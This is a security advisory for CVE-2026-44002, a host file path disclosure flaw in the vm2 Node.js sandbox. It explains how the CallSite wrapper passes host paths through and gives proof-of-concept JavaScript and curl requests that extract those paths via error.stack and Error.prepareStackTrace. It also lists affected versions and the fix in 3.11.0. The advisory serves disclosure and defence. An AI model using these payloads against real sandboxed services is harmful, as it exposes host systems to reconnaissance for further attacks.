Advisory

GHSA-v27g-jcqj-v8rw

Also known as: CVE-2026-44002

Summary

vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

Details

Summary
vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details
In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

  • getFileName() — returns host absolute paths like /app/node_modules/vm2/lib/vm.js
  • getLineNumber(), getColumnNumber() — exact source locations
  • getFunctionName(), getMethodName(), getTypeName() — internal function names

Two exploitation paths exist:

  1. Default `error.stack`: new Error().stack includes host frame paths in the formatted string
  2. Custom `prepareStackTrace`: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...

HTTP demonstration:

# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...

Impact

  • Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
  • Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
  • Scope: All applications using vm2. No special configuration required.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-05-07 04:30 UTC
Modified
2026-05-14 20:52 UTC

Affected packages and fixes

vm2

npm · All systems

Affected

  • introduced 0, fixed 3.11.0 (semver)

Fixed versions

3.11.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences